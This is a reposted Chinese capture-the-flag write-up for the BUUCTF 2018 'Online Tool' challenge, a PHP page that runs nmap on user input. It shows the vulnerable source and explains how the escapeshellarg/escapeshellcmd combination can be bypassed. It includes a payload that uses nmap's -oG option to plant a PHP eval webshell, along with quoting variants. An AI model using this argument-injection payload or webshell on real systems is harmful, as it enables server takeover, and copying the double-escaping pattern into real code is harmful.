码迷,mamicode.com
首页 > 其他好文 > 详细

[BUUCTF 2018]Online Tool

时间:2020-02-12 12:33:32      阅读:78      评论:0      收藏:0      [点我收藏+]

标签:问题   返回   dir   返回结果   sandbox   manual   time   进入   map   

进入页面

贴出源码

 1 <?php
 2 
 3 if (isset($_SERVER[‘HTTP_X_FORWARDED_FOR‘])) {
 4     $_SERVER[‘REMOTE_ADDR‘] = $_SERVER[‘HTTP_X_FORWARDED_FOR‘];
 5 }
 6 
 7 if(!isset($_GET[‘host‘])) {
 8     highlight_file(__FILE__);
 9 } 
10 
11 else {
12     $host = $_GET[‘host‘];
13     $host = escapeshellarg($host);
14     $host = escapeshellcmd($host);
15     $sandbox = md5("glzjin". $_SERVER[‘REMOTE_ADDR‘]);
16     echo ‘you are in sandbox ‘.$sandbox;
17     @mkdir($sandbox);
18     chdir($sandbox);
19     echo system("nmap -T5 -sT -Pn --host-timeout 2 -F ".$host);
20 }
21 
22                                                                             

大概意思就是

传入参数host

经过escapeshellarg和escapeshellcmd函数的过滤

执行nmap的命令

 

问题肯定出在那两个函数上

参考链接:

https://www.php.net/manual/zh/function.escapeshellarg.php

https://www.php.net/manual/zh/function.escapeshellcmd.php

 看了这两个函数,还是没什么头绪

看到一篇文章https://paper.seebug.org/164/

我们详细分析一下:

传入的参数是:172.17.0.2‘ -v -d a=1
经过escapeshellarg处理后变成了‘172.17.0.2‘\‘‘ -v -d a=1‘,即先对单引号转义,再用单引号将左右两部分括起来从而起到连接的作用。
经过escapeshellcmd处理后变成‘172.17.0.2‘\\‘‘ -v -d a=1\‘,这是因为escapeshellcmd对\以及最后那个不配对儿的引号进行了转义:http://php.net/manual/zh/function.escapeshellcmd.php
最后执行的命令是curl ‘172.17.0.2‘\\‘‘ -v -d a=1\‘,由于中间的\\被解释为\而不再是转义字符,所以后面的‘没有被转义,与再后面的‘配对儿成了一个空白连接符。所以可以简化为curl 172.17.0.2\ -v -d a=1‘,即向172.17.0.2\发起请求,POST 数据为a=1‘。

但这怎么利用呢,还是一头雾水

从nmap入手

看了大佬文章

nmap有一个 -oG 参数,可以把命令和执行结果写入一个文件

构造payload:

?host=‘ <?php @eval($_POST["hack"]);?> -oG hack.php ‘

菜刀连接

找到flag即可

 

贴一个大佬的试错,关于加不加最后的单引号或加不加 单引号前的空格做了结果展示

首先是后面没有加引号

?host=‘ <?php @eval($_POST["hack"]);?> -oG hack.php
1
我们可以在线测试一下

 

‘‘\\‘‘ \<\?php phpinfo\(\)\;\?\> -oG test.php\‘
1
返回结果是上面那样文件名后面会多一个引号

然后是加引号但引号前没有空格

?host=‘ <?php @eval($_POST["hack"]);?> -oG hack.php‘
1


运行结果如下

‘‘\\‘‘ \<\?php phpinfo\(\)\;\?\> -oG test.php‘\\‘‘‘
1
文件名后面就会多出\\

所以要注意细节

 

[BUUCTF 2018]Online Tool

标签:问题   返回   dir   返回结果   sandbox   manual   time   进入   map   

原文地址:https://www.cnblogs.com/Chr1sto/p/12297530.html

(0)
(0)
   
举报
评论 一句话评论(0
登录后才能评论!
© 2014 mamicode.com 版权所有  联系我们:gaon5@hotmail.com
迷上了代码!